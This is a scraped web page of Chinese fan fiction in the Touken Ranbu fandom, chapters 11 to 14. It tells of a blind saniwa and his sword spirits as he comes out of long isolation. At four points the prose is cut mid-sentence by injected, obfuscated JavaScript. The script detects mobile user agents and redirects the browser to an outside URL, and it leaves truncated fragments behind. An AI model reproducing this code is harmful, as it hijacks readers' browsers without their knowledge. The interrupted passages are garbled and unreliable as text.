长谷部点头,将纸人收好。他环顾周围众人的神色,似乎对这个名字并不陌生,犹豫片刻,还是问出了那个一直盘旋在心头的问题:“那位‘直弥大人’,是谁?” 11. 除了这一身灵力 “详细的情况不清楚。”笑面青江撑着脸道,“似乎是京彦大人以前的友人呢。还没更换本丸的时候,直弥大人偶尔会来视察。” “视察?” 长谷部皱起眉头,这不算是一个好词语。 “嘛,只是口头上的名义而已。那两位大人的关系很好,说是视察,不如说是来做客的。” 狐之助扒拉了一下自己的数据库,道:“根据前代狐之助留下来的信息,直弥大人是这座本丸的监察员呢。这个倒是不用担心,政府会下派监察员到本丸视察是常有的事,不过这位直弥大人的身份权限很高,别的信息都被锁起来了……是位大人物呢。” 政府的大人物来当一座本丸的监察员? 长谷部心头浮现疑虑,很快将它按回心底。他伸手合上纸箱,道:“狐之助,维修请求传达给政府了吗?” “已经传达了!” “那么今天就地解散吧。”灰发打刀环视一圈周围,警告道:“不要去主的房间外面乱晃,打扰主休息!” 他视线尤其警告了某些重点人物,众刀剑遗憾地点头称是。 这座本丸的刀剑一般来说都很尊重长谷部的意见,这与长谷部三年来的劳心劳力脱不了干系。主君闭门不出的这三年以来,长谷部一手包揽本丸内的大小事务,大到任务报告、各项排布,小到付丧神丢了什么东西,无论问题大小,只要他关注到了,就一定会帮忙解决。 他对这座本丸的付丧神很是照顾,正因如此,纵使从前不曾共事一主,付丧神们也早已将长谷部当成了重要的同伴。 再者,这振长谷部黑着脸训斥人的时候真的很可怕。还是不要触他的霉头为好! 付丧神们离开破破烂烂的天守阁,今夜这场意外终于平息下来。长谷部将纸箱收进仓库,独自一人朝着清显休息的房间走。 本丸再次安静下来,庭院浸泡在轻柔的夜色之中,隐隐可见几点荧绿的光芒在草叶间飞舞。 萤火虫吗? 付丧神停下脚步,观赏片刻。 等到主的眼睛好起来了,倒是可以将萤火虫捕捉来供主赏玩。只是这东西太过短寿,怕是坚持不到主的眼睛痊愈那一天。 短寿之物,如何有陪伴在主身边的殊荣呢? 第二日晨起时,长谷部将灵言式神交给了清显。人类略显茫然地捏了捏纸人,想起来昨日起来之前听到的铃铛声,轻声问道:“是谁?” “一位名叫‘直弥’的人。” 清显面上闪过一丝了然。他将纸人收下,并没有现在就处理信件的意思,长谷部于是道:“主,今天的早餐还是在房间用吗?” 清显迟疑片刻,点了点头。 他的眼睛不好,每日饭食都需要近侍经手照顾。仔细想来,还是不要将这副样子现于人前,免得影响了大家吃饭的心情。 长谷部点点头,道:“领命。请主稍等片刻。” 在长谷部去布置早饭这段时间,清显取出袖中的灵言式神,指尖轻轻一扫,纸人头顶上的灵力被驱散开来,信件内容化作灵力波动悬浮于空中,稍一感应,便能读取到其中内容。 “清显大人敬启: 以下只是我个人拙见。 您的刀剑之似乎混入了外来之物,乃是一振压切长谷部。此物混入您本丸已久,恐其生变,请务必对其保有戒心。 另,听闻您双目有恙,我会遣医者定期前往诊疗。请您珍重身体。 八目直弥敬上” 读完信,清显面无表情地抬手,一把火从纸人脚下燃起,将其烧成了飞灰。 原本就是灵力化成的纸人,烧完以后也只剩下些许漆黑的光点,将将要从空气中散尽的时候,长谷部的声音在外头响起:“主,现下可以入内吗?” 安静的氛围被打破了。 不如说,从摔倒那天开始,他身边就没怎么有过安静的时候。人类侧耳听着门外的响动,等到空气中信件的残骸散尽,才温声道:“请进。” 笑面青江敏锐地察觉到,自从天守阁那一晚过后,清显的态度松动了许多。与最初接触付丧神时的封闭状态不同,现在他的神情明显更加和缓,像是长期罩在身边的壳子被敲开了几条缝隙,阳光与空气得以渗入。 维修队来维修天守阁建筑和结界这段时间,清显一直住在付丧神们邻近的地方。 虽说长谷部明令禁止无事过去打扰主君休息,但在靠主君近些的院子玩耍难免会有动静,在发现清显没有反对的时候,灰发打刀也就睁一只眼闭一只眼了。 ——是的,清显没有反对。 不仅没有反对,有时候还会因为这些响动走神。 再一次确认主君正在神游天外以后,大胁差合上手里读了一半的书,微笑着建议道:“同伴们在那边的院子里玩呢。主人要过去看看吗?” 清显微微一愣,转过头,第一反应仍然是拒绝。 “眼睛不好,出去会给大家添麻烦的吧。” 天守阁那晚就是个巨大的麻烦,人类不想重蹈覆辙。 笑面青江道:“臣下侍奉主上本就是理所应当,何来麻烦一说呢?” 他的语气十分坦然,付丧神一直以来所作所为也正是如此。清显静坐片刻,轻轻侧过头,似乎在聆听另一边院子里的玩笑之声。 出于通风的需要,障子门开启了一点,白日的光从缝隙里渗透进来,隐隐可见院子里翠绿的春色。从逆光之处看,清显的侧影显得有些模糊。 笑面青江恰巧坐在里侧。付丧神未被长发遮掩的那只眼瞳寸步不离地凝视着审神者,模糊的白光在金瞳之中游动、重组,恍然之间变成了前代的模样。在那座本丸进入倒计时之前,前代已经病得很重——或许是心病吧?漆黑的灵力爬满他的每一条脉络,唯独侧影看上去还算安静。 眼前的侧影动了动,“前代”转过头,露出属于清显的白皙面孔。 他像是做了不少准备,又像是简简单单的随口一问:“在青江看来,我是一位适任的主君吗?” 审神者这句推心置腹之语突如其来,笑面青江却能轻轻接过,仿佛对这种情况十分熟练。大胁差态度一如往常,笑道:“您不适任的话,天底下就没有适任的人了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385745|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “……即使是我这样空有一身灵力,却做不出什么像样的事的人吗?” 面前没有传来回应。清显的眼球轻轻转动,根据方才的声音去找笑面青江所在的位置。片刻后,一只手伸过来,将他的脸往正确的方向扶正。 “在这边哦。” 大胁差的声音离得很近,语气依旧平稳,像是在阐述什么稀松平常的事:“什么样的事情才叫像样的事呢?如果按照人类世界普遍的标准,您的兄长京彦大人实在是一位非常了不起的审神者,最后却也迎来了那样的结局。” 意识到自己说了什么,短暂停顿后,笑面青江的理智迅速回笼,微笑道:“是我失言。主是一位很优秀的审神者呢,未来也一定能成为一位优秀的主君。多关注自身的长处如何?” 清显没有说话。 大胁差的唇角下撇,抿成一条紧绷的线。 他眼也不眨地观察人类的表情,脑海中迅速盘算好该说些什么将人类的注意力引走——主这样的审神者无论在哪都会很受欢迎呢,但我们只有您一位主人哦。我很喜欢主人呢,您觉得自己不适任的话,是说未来有一天会从时政辞职吗?撩拨了我,最后又要随手把我丢开吗? “对不起。”清显说。 笑面青江刚刚酝酿好的微笑变成一个欲起未起的滑稽弧度,就这么僵在了脸上。 “……什么?” 他想不到清显有什么需要道歉的地方。这位新主临时被一纸契约拉进这个本丸,对前代的事一无所知,相处一阵就能明白,是个自我认知不足、心思单纯得不像人类的家伙。 他在为什么道歉呢? “我听说过,结局。”清显说,“本丸的坐标暴露,溯行军入侵,大批刀剑碎刀,只剩下现在的十三振。兄长没能保护好自己,也没能保护好自己的刀。” 以为面前的大胁差无法接受曾经那个失败的、人亡刀断的结局,清显长袖下的手紧紧交握在一起。他坐直身体,用郑重的语气向眼前的付丧神承诺:“虽然……能力上比不上兄长,但我会保护好你们的。以后无论发生了什么,都可以躲到我身后。” “毕竟……我除了这一身灵力一无所有……了吧?” 笑面青江很久都没有说话。 虽然是一时不查说漏了嘴,但与前代有关的事不可能永远滴水不漏地瞒下去,方才的也能算是一次小小的试探。凡事都要先试错,后面才能找到正确的处理方式。 但他从没想到自己会得到这样一份答案,这样一份……干净得令他条件反射开始怀疑真伪的答案。 ……试出了不得的东西了呢。 清显几乎没有向人袒露心迹的习惯,这份安静理所当然让他有点不安。他按捺住想要伸手摸索的冲动,又坐了一会,没能忍住,试探着打破了沉默: “……你在想什么?” 在想什么? 半臂距离之外,笑面青江侧过头,青色长发遮住了他空白一片、甚至有些狼狈的神情。 在想…… 现在的你什么也看不见,真是太好了。 12. 像样一点 深夜,近侍组三人齐聚一堂。 临时会议地点选在了一处偏僻小院的石桌旁,三位付丧神或站或坐,会议尚未开始就陷入了死一般的沉默。 压切长谷部抱着本体,背对着石桌看月亮,看不清脸,但背影透着一股子沉重的决绝与忧郁;笑面青江倒是好好坐在了石凳上,双臂抱着杵地的本体,头颓废地埋在臂弯,成了一株抬起不头的可疑青色植物。 唯一正常的烛台切沏好了茶摆好了茶点,左右看看,神色莫名:“所以……你们到底怎么了?” “我正在怀疑我是否真的有侍奉主的能力。”长谷部阴郁地开口,“回想起来,这次的事故说到底是因为我没有察觉到主的异常状态,还擅离职守的原因。主常有忧郁难解的时候,身为近侍却不能及时体察,为主分忧,这样的近侍刀还有什么存在的意义?!” “别这么想,虽然你说的确实没错,但是别这么想,坐下来喝口茶吧长谷部君。” 啪地一声,长谷部脸朝下被按回茶桌前。 烛台切把茶杯摆在石桌裂出蛛网纹路的那一方,而后微笑着转向另一边:“青江殿呢?是出了什么事?” “干不了啊。”大胁差仰头靠在桌子叹了口气,“干不了。忽然发现这世上还有很多我干不了的事啊,比如跟人类深度的亲密接触什么的……” 这姿势正方便烛台切顺手一杯茶灌下去,笑面青江脸上盖了个杯子,终于不吱声了。 “——所以,到底发生什么了?” 笑面青江把脸上的杯子揭下来。他面色如常地起身坐好,“不,什么都没发生。来探讨一下今天的正题吧,天守阁翻修很快就要完成了,在那之前一定要让主人‘走出来’才行——两位想到什么好办法了吗?” 长谷部抬起头,用双手整理仪容。 “是吗……”他用沉重的语气道,“你也失败了啊。” 笑面青江的表情似乎裂开了一下。烛台切旁观那恐怖的表情一闪而逝,立刻明白这两位同僚已经吃了大大的败仗,现在唯有他有余力挑起为主人开解心结的重任。 但是话说回来…… “果然还是要弄清楚根本原因所在吧。从前猜测主人是因为厌恶戒备已经认过主的刀,才不愿意出来相见,但目前看来并非如此。既然对我们没有心结,是什么将主一直拦在天守阁内?” “长谷部君,主人应当不是家里蹲类型吧?” 灰发打刀面色沉沉地摇头。 “主的性格虽然算不上活泼外向,但也绝不至于内敛至此。”似乎是想起了什么不太好的往事,长谷部的脸色阴沉得快要滴水,他侧对着两位同僚,一只手臂搭在桌子上,垂下的拳头紧握,手套之下青筋毕露。 烛台切把茶点往他那边推了推。瓷器边缘碰到打刀的手臂,长谷部微微一愣,神色不太自然地别过头:“……抱歉。” 笑面青江已经又给自己倒了一杯茶。他盯着茶杯里悠悠冒起来的热气,道:“……虽然只是我的猜测。” “我们的主人,过去是否经常生活在这种环境之中呢?” 长谷部愕然道:“你说什么——” “就算是家里蹲,也不可能待在一个一成不变的地方三年不出来吧。”大胁差道,“更何况,主的房间现代设施很少,勉强算得上娱乐所用的只有书架上的书。但失明以后,他似乎也没有特别表现出对书本的要求,就连帮着念一念内容也是后来我主动提出来的。近侍如果不与他主动交流,他能在全黑的环境一个人坐一整天……不觉得和某种情况有些相似吗?” “……监禁。”烛台切皱着眉头地补上了笑面青江未说出口的那个词语,在长谷部拍案暴起之前一把将人按下,“我也曾觉得主人的情况不太对劲。如果青江殿的猜测属实,这场监禁一定已经实施了很久……以年为单位,起码也有五年以上。” 长谷部暴怒道:“那些人类……怎么敢!!!” 笑面青江皮笑肉不笑道:“人类有什么不敢的?” 这话像是带着刺的钩子,在座的三位付丧神脸色都变得不大好看。长谷部面色僵硬地坐回去,理智勉强回笼,道:“这不符合常理。主既然出身阴阳师家族,又身怀这样的资质,一定很受重视才对。” “资质好是没错。”笑面青江道,“但万一控制不了呢?” “你什么意……” 大胁差指了指夜色中的天守阁。时政工作人员留下的阵法和结界一刻不停地在运作,透过那层浅金色的结界,付丧神立刻想起了那时天守阁的惨状。 整座建筑因这场灵力暴动变得破破烂烂,如果不是因为有结界缓冲,天守阁怕是早已成了废墟——并且,那结界也在那天晚上一同损毁了。 正是因为需要维修结界,天守阁才一直关闭至今。 “单凭灵力能做到这个地步,是令人赞叹不已的天赋啊。但若是控制不住,就是一种不容忽视的威胁了。”笑面青江道,“想必主人自己也知道这一点,所以默认了这场‘监禁’。” 烛台切若有所思地摩挲了一下手中的茶杯。 “但对待付丧神,并不需要像对待人类那样谨慎。况且,我们身上的灵力与主同源,还带有契约,就算发生灵力暴走的情况,后果也不会太严重。” “——我知道。” 似乎想起了什么,青发胁差有点无可奈何地叹了口气。他将本体靠在桌边,又变回了那个仰躺在桌上的姿势:“考虑完所有可能性,无论怎么想结果都只剩下一个了啊。” 大胁差眼前,又浮现出清显朦胧的侧影。 能力比不上兄长……吗? “我们的主……是不是有点太不自信了呢?” * 诸如自信这类需要后天培养的强大品质,清显大约是没有的。 五到十五岁是培养塑造一个人的最好时期,唯一养育他的兄长在他八岁那年就离开了家,走之前一把火将本宅烧得干干净净。也正是因为那一场火,八目氏由盛转衰,最终在历史中销声匿迹。 那场火到现在仍然在清显的记忆里燃烧,火舌燎卷着吞没兄长的背影,不管他怎么哭喊恳求都不肯停下脚步,甚至一次都不曾回头。 八目京彦清楚自己想要什么,所以能毫不手软地放火烧了那座对他来说与地狱无异的本宅,头也不回地出走。 清显不明白自己能做到什么,所以他一直被困在那片废墟之中。 之前的天守阁对他来说同样也是一片废墟,区别是在八目家时将他拽起来的是灵力凝成的锁链,天守阁里将他扶起来的是付丧神小心翼翼的手。 白天的时候,他“看”到了。 因为笑面青江太久不出声,清显伸出手,试探性地碰了碰胁差青年的侧脸。意外的是,对方没有回避,也没有挣脱,意外乖顺地顺着他的力气抬头,将自身暴露于他的“视野”之下。 清显捧着他的脸,指尖摩挲过胁差的眉头、双眼、唇角,力道很轻,像一片温热的羽毛。 眉头紧皱,唇角下撇,唇线抿得又平又直。 人类察觉出来,那是一个很寂寞的神情。 天守阁的修缮在两日后完成,长谷部力图不阻碍到清显的行动,严格按照原有的格局将二楼家具和摆件重设了一遍。整理清洁的时候,清显默默地坐在一旁清点之前纸箱里的旧物,长谷部做完工作便靠回他身边,点完一件就接过一件。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385746|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 人类的神情很平和,灰绿色眼瞳安静地垂着,即使看不见箱子里的物品,清点的动作也不算慢。 一反常态的是,长谷部今天也很安静。 清显总觉得这样的安静有些不同寻常,清点物品的手顿了顿,一旁果然响起了长谷部略带迟疑的声音:“……主?” 顺着那个声音,清显伸出手,触碰到一片温热的皮肤。 灰发打刀立刻僵成了一块木头,一动也不敢动,任由人类的另一只手也伸过来,指尖轻轻摩挲过他的眉骨,而后顺着鼻梁一路下滑,又按了按他的嘴角。 砰—— 长谷部手里的东西砸到新铺好的地毯上,发出一声闷响,像是他重重的心跳。 “……主!怎么突然……” 手底下的皮肤骤然变得滚烫,左手按着的耳垂也是。完全想象不到近侍的脸现在红成了什么样,清显回忆着方才摸索到的表情,同之前笑面青江的不一样,长谷部似乎有种隐隐的低落和焦躁。 “你似乎很不开心。”尽管看不到,人类还是尽力转向长谷部的方向,“发生什么了吗?” 竟然让主察觉到了自己的失态—— 长谷部强忍住撇过头掩饰的冲动,克制地道:“不,什么也没发生。” 这两天晚上,只要闭上眼睛,眼前就会自动浮现清显被锁起来的景象。即使明白那些情景都是自己想象出来的,但一想到面前的人类真的经历过这些,打刀在暴怒之余,难免感到焦躁不安。 在单一的环境生活久了,是会习惯的。经历的痛苦久了,也会变成一种习惯。 他知道同伴们心里的盘算,但让主走出天守阁真的正确吗?如果接触外界会让他觉得恐惧痛苦呢?若是待在天守阁内能让主觉得安全的话,就算一直见不到主也没关系,无论怎样的孤独寂寞,他长谷部都会忍耐下去。 在遇见面前这位人类之前,他经历得最多的就是孤独。而压切长谷部这振刀,在很多时候,最擅长的就是忍耐。 忍耐心中那条时刻在狂涌的漆黑河流,忍耐每一分每一秒不在主身边的时光。就算阴翳顺着脊柱的缝隙长出来、在身后长成遮天蔽日的巨树,也不能让它碰到面前的人类一星半点。 “主,”打刀的呼吸变得急促了一点,藤紫色的眼瞳在眼眶中不安稳地颤抖,“其实,您要是不想——” 清显的指尖轻轻擦过长谷部的眼睑,这突如其来的举动让打刀好不容易积攒起来的勇气半途而废。 又是这样的表情。 寂寞的、难以忍耐的、藏有痛苦的表情。是在考虑天守阁修好以后,他还会不会露面吗? 长谷部和青江从前说过,主君不在身边的话,他们会很寂寞。这些刀剑像守护一位真正的主君那样守护着他,并不将他视作兄长的替代品。既然被称为主君,就应该有主君的样子。这么久了,他是不是也应该学着变得更像样一点呢? 人类伸出手,轻轻地将近侍刀揽进怀里。这是一个再单纯不过、轻柔安定的拥抱,清显侧脸贴着长谷部的发顶,微微阖着眼帘,神色很温和。 “明天也请多多指教,长谷部。” “……!” 一切有用的无用的情绪都在此刻终止,有零星两片樱花瓣从头顶落下,很快演变成一场声势浩大的暴雪。 长谷部将脸埋在清显的肩头,眼睫飞快地颤抖着,又欲盖弥彰地垂下。 而后,他小心翼翼地,将脸又往里埋了一点。清显比他矮不少,打刀仍然一动不动地维持着这个姿势——一抹绯红从耳尖烧到了下颌,灰发垂在眉眼间,怎么也藏不住眼底那片涟漪一般游动的光泽。 “……长谷部,领命。” 13. 关系真好 打开天守阁,从里面走出来,对清显来说不可谓一个不艰难的决定。 恰如长谷部所想,一个人呆着的时候,他会很有安全感——不过,那是失明以前的事。失明之后他有时需要一些声音或者响动,恰如隔着院子听一听付丧神们在外嬉闹的声音,一旦陌生的付丧神真的走到他身边来,他难免会感到僵硬和不自然。 长谷部考虑到了这个问题,在回到天守阁之后的好几天内,都只是带本丸内的付丧神来认认脸。 不动行光是被强行抓过来的,也是长谷部带过来的最后一位付丧神,抓来之前特意带去浴场好好清洗了一番,仍然掩盖不住身上冲天的酒气。 灰发打刀皱着眉,提着短刀坐好,向对面坐着的主君致歉:“……万分抱歉,主。这家伙从显现以来一直这样——喂,在主面前不要东倒西歪的!” 他眼疾手快地把烂醉的短刀提起来,不动行光醉醺醺地甩开他的手,不满地嘟囔:“你在胡说什么……你又没见过我以、唔唔唔——” 长谷部大惊失色,扑上前一把捂住了不动行光的嘴。“失礼了,主,我先带这家伙下去清醒一下!!” 长马尾短刀被强行拖走了。他周身的酒气还残留在室内,笑面青江起身将窗户完全打开,清显还在想刚才不动行光没说完的话,神情有点困惑。 大胁差不动声色地观察他的神情,联想到长谷部方才的反应,若有所思。但这并不妨碍他给灰发打刀打掩护,语气自然地笑道:“这两位同为织田信长的刀,虽然总是打闹,但实际上关系不错呢。主人不必在意,不动没有恶意,长谷部也只是性格比较急。” 清显点点头。淡淡的酒气缠绕在他身侧,少年犹豫片刻,做了一个决定。 “青江,本丸内有擅长处理文书工作的付丧神吗?” “有。”笑面青江惊讶道,“您的意思是……” 既然决定要做出改变,就应该快刀斩乱麻才是。清显颔首肯定了大胁差的猜测,声音低得像是在自言自语:“假期差不多该结束了,对吧?” 本丸迎来再一个宁静的清晨。在会见过不动行光的第二天,清显托长谷部召集本丸的付丧神,在大广间召开了上任以来的第一次晨会。 竹帘升起,人类端坐在主座,缓缓向座下付丧神俯身示礼。在他无法亲眼目见的面前,十二位刀剑付丧神跪姿整肃,随着主君的动作俯身拜下,大广间内,审神者的音调不高,却带有一种奇异的平稳柔和。 “从前因为种种原因闭门不出,未曾与大家见面,非常抱歉。” “接下来的日子,请多多指教。” * ——几乎从未在人前高声说过话,单单只是这么两句就在背地里悄悄练了一晚上的清显,在事后得到了长谷部天花乱坠的夸奖。 “非常完美!简直充满了梦一般的主君气度!阿鲁基果然很有天赋!假以时日定能有意想不到的大成就!做您的刀实在是太荣幸了!” 眼见飘着花的长谷部扶着清显离开,烛台切扶额,无奈地叹了口气。 “这主控脑袋……” 这场散场后的会议临时由三人变成两人,笑面青江却像是早有预料,笑道:“让他陪主人多走走也是好事。” 大胁差伸出手,点了点铺在地板上的纸页——上面除开三振轮换过近侍的刀剑、以及状态异常无法陪侍的不动行光,统共列了九个名字。 “不是要排近侍名单吗?现在开始吧。”笑面青江捻了捻垂在肩侧的长发,叹了口气,“今天我可是有畑当番的。虽然吃饭的人不多规模不大,也还是很累的。为什么畑当番人数不能增加到三个呢?” “人手不足,没办法,一会我也来帮忙吧。”烛台切顺便联想道,“如果主人以后锻了新刀——” 愣了愣,太刀青年的未尽之语戛然而止。笑面青江倒不避讳,道:“如果我的预料没出错,短期之内,主人应该不会有锻新刀的打算。人手会有充足起来的一天的,在这之前……” “一定要谨慎行动。”烛台切接道。 纸页摆在两人中间,九振刀的名字清晰可见。 主人双目不便,需要有人辅助文书工作,近侍也要慢慢轮换起来。将名单拆成两批是长谷部的意见,先让性情和缓稳定的刀剑担任近侍,一旦出现什么异常及时交流汇报,总之先熟悉起来,再让第二批上任,开始稳定轮换。 烛台切是一向不赞成在大事上对主人太过娇惯纵容的,但在这件事上却没有多言。 这座本丸私底下远不如看上去那般风平浪静,存活的付丧神多少都带有创伤的影子,连五虎退都要比别家本丸的安静许多。主君又是这样的性格,样子看着唬人,实际上说是初出人世也不为过。 虽然两方都有想要接触的意图,但难免会在意想不到的地方起些摩擦,这几天一直风平浪静,少不了长谷部从中斡旋的功劳。 “总之,髭切和石切丸没有问题。”笑面青江提笔在这两振刀的名字下方画了一横,“药研的状态是最好的,可以放在第一批。” 烛台切道:“加州是末尾才锻出来的二代,几乎没怎么受到影响,状态也很稳定。” 笑面青江点点头,在打刀的名字底下添了一横。 剩下几位,大俱利伽罗、膝丸、不动行光和宗三左文字。 大胁差看了一眼,干脆地在宗三的名字上画了个圈。 “宗三在执行长期远征任务还没回来,以他的状态,就算回来了也要慎重考虑,能不能和平地面见一次主人还是个问题。” 烛台切回想起粉发打刀的模样,眼底泛起一丝戾气。 原本的静谧哀伤,如今的决绝阴郁。接连失去了两个兄弟,被审神者在灵体上刻下灵印,灵体上从此多了一道抹不去的瑕疵,因为这道瑕疵,就算刀解,灵体也不会再回归本灵。 没人知道在刻下这道印记的时候前代对宗三说了什么,但那句话最终成了咒,漆黑的咒文永远环在了宗三的脖颈上。 无论本体碎成了什么样,只要灵印没有解开,宗三左文字就永远不会碎刀。他失去了追随兄弟到黄泉的资格,更是因为被刻下灵印的地点在这里,连自我放逐都做不到。 不论如何远走,最终他总是会回到这座本丸。 为了能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385747|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让宗三有一个合适的理由出走散心,长谷部将本丸的长期远征任务都交给了他。距离宗三上一次出门远征,已经过了三个多月了。 “长期远征任务周期一般是四个月,宗三是不是快回来了?” 收敛好情绪,独眼太刀陷入思绪之中。“前代死亡之后,他的状况似乎稳定了一些。有契约在,应当不会做出噬主行为,单纯只是会面的话,多半没有问题。但若要再进一步,就不好说了。” 牵扯前代的一切问题都让烛台切头疼,尤其是从笑面青江口中得知,前代与现任审神者的关系有可能不像他们想象的那么恶劣的时候。 现在这座本丸,对前代毫无怨憎之心的又有几人?就算是京彦行差踏错,到底是现任审神者敬爱的兄长,同族至亲与一群被染黑、且怀有不敬之心的付丧神之间,清显会选择哪边不言而喻。 再者,人类的憎恨和忌惮往往来得无比简单,而催化这些情绪,更是只需要不经意间的一句话、一个眼神。 但清显是他们现如今唯一的希望了。如果这个希望破灭了的话…… 感觉思维向漆黑的渊谷中越滑越深,烛台切强制将自己抽离出来,注意力集中在剩下两个名字上。 见他回过神,笑面青江若无其事地收回目光,仿佛刚才用可怕眼神盯着同僚的并不是他。大胁差屈膝随意地坐着,一只手臂搭在膝头撑着脸,另一只手握着笔头在地面敲了敲: “五虎退,一期一振。” “论工作效率的话,非一期莫属了。虽然主人不会对五虎退做什么,为了保险起见,将退放到第二批次吧。” 烛台切同意,笑面青江在一期一振的名字下添了一横。抬起笔,似乎想起了什么,大胁差问道:“一期呢?” 烛台切道:“散会以后,朝仓库那边走了。” “…………” 笑面青江沉默片刻,感觉自己这一笔画得太早了。盯了那墨迹几秒,他最终还是没有划掉——虽然有些心结,但一期同样也明白自己该做些什么。顺其自然为好。 叠好纸页、收起笔,这场临时小会就要散会了。 笑面青江带着本体起身,顺带着理了一下自己的披风。理着理着,他想起烛台切刚才的状态,忽然用一种没话找话般的语气道:“啊,说起来,烛台切也和主人相处很久了吧。” 烛台切面露不解:“是。怎么了吗?” 随后,他看见笑面青江脸上露出一个可恶的微笑。大胁差的语气包含着暧昧、促狭、惊讶,他睁大眼睛道:“这么久过去了,烛台切……你和主人之间,不会一次亲密接触都没有过吧?比如力道恰到好处,叫人欲罢不能的抚摸,又或者是灌注灵力以后漫不经心的玩弄……” 烛台切额角爆起恐怖的青筋。他微笑道:“这么说来,你是很怀念那种感觉了?要不要去手合室,我帮你好好回、忆、一、下?” 笑面青江转身就跑。背后伸来烛台切坚硬的手臂,太刀微笑着将胁差青年架起来往外拖,正巧下来取东西、目送两人在烟尘滚滚中离去的长谷部露出一个困惑的眼神。 ……这两人,关系真好啊。 14.解冻 在摔到头以后的第二个月末,清显找回了控制灵力的方式,本丸终于由一日晴半日雨回归了正常的季节进程。 院子里的枫叶一夜之间红了,烛台切早起路过走廊时目不转睛地盯着看了许久,面露感慨之色。 “红叶飘零啊。” 若曾经几位喜好风雅的同僚在此,一定会齐聚檐下、吟诗作对。只可惜他诗才不佳,只能驻足廊边观赏片刻,心怀感叹地离去。 另一边茶室外的走廊下,清显正和几位付丧神坐在一起喝茶。 初秋的天气偏冷,他肩上搭着一条厚厚的毯子,手里捧着略烫的茶杯,感受着凉风吹拂过额头的触感。 总是垂在额前的刘海被两枚樱花发卡一左一右地夹起来,而始作俑者就坐在身后为他编头发,暖红色的眼中闪着兴致勃勃的光。 照加州清光的原话来说——“头发总是披下来太没有精神了,还是扎起来比较好哦。还有,主人的刘海实在太长了,垂在眼睛面前总感觉有点阴郁呢。……欸?不会扎?真没办法啊,交给我好啦!保证会很可爱哦!” 加州清光是个有些爱撒娇的孩子,清显也愿意将头发交给他打发时间。 经过一段时间的相处,审神者的社会化进程有了长足的进步。 从最开始身边多站几个人就僵得说不出话,到现在能态度自然地和付丧神相处,虽然依旧寡言少语,但已经是超乎预料的进展,过程快得让笑面青江都有些惊讶。 长谷部倒是欣慰极了,连天称赞“主的悟性一向如此”,清显每次听见,总是垂着眼睛,灰绿色的眼瞳欲盖弥彰地往旁边一移。 他感到有点害羞。 实际上清显对这套流程并不陌生,早在来到本丸之前就经历过一次。 他从小到大没什么说话的机会,兄长在时和兄长说话,兄长不在时和纸人说话。兄长离开不久以后纸人也消失了,很少有人再陪他说话。有些人在长期独居的状态下会学会自言自语排解压力,可清显连这个技能都没有——之前之所以能与付丧神看似正常地交流,是解禁之后在本家被父亲按着头学习的缘故。 八目家怎么能有一位话都说不流利的少主?于是八目清显学会了说话。 过程他不愿回想,那些居高临下的冷眼也早已模糊在记忆中。相比起那段时光,长谷部的夸赞更让他印象深刻。 真诚的、高昂的、发自肺腑的,洋溢着让人安定的柔和。 ——这振刀在经历过谨慎小心、手忙脚乱两个阶段以后,在某日忽然开窍,找到了与审神者相处的正确方式。 清显吃软不吃硬的性格明显很适合这一套,无需怎么费劲,审神者点头应下了每天出门透气的任务。大早上起来选了个好位置坐下,不曾想髭切与膝丸中途路过,拎着茶具直接原地坐了下来。 “这个造型很不错呢。”髭切靠着廊柱,笑眯眯地夸赞,“偶尔我也会想要把弟弟的刘海像这样夹起来试试……加州,还有多的发卡吗?” “阿尼甲!突发奇想的事情还是请算了吧!” “……开玩笑的。” 成功把弟弟逗炸毛,髭切心情愉快地喝了口茶,放下茶杯的时候余光忽然瞥见旁边伸过来一只手——清显取下来一边发夹摆在手心,朝着他的方向递了过来。 他看不见,虽然能凭借灵力感知到付丧神大概的位置,但递过去的位置还是歪了一点,伸出去的手刚好停在膝丸面前。 薄绿色短发的太刀不可置信地盯着那枚发夹,一抹红色从脖颈飞到了头顶。 “你、你你——你——” “诶?主人想看吗?”髭切托着腮,毫无愧色地将刚刚说出口的话收回,“主人想看的话,那就没办法了。嗯……诶……弟弟君。” “是膝丸啊阿尼甲!”膝丸顶着通红的脸垂死挣扎道,“再说主人也看不见吧!” 话一说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 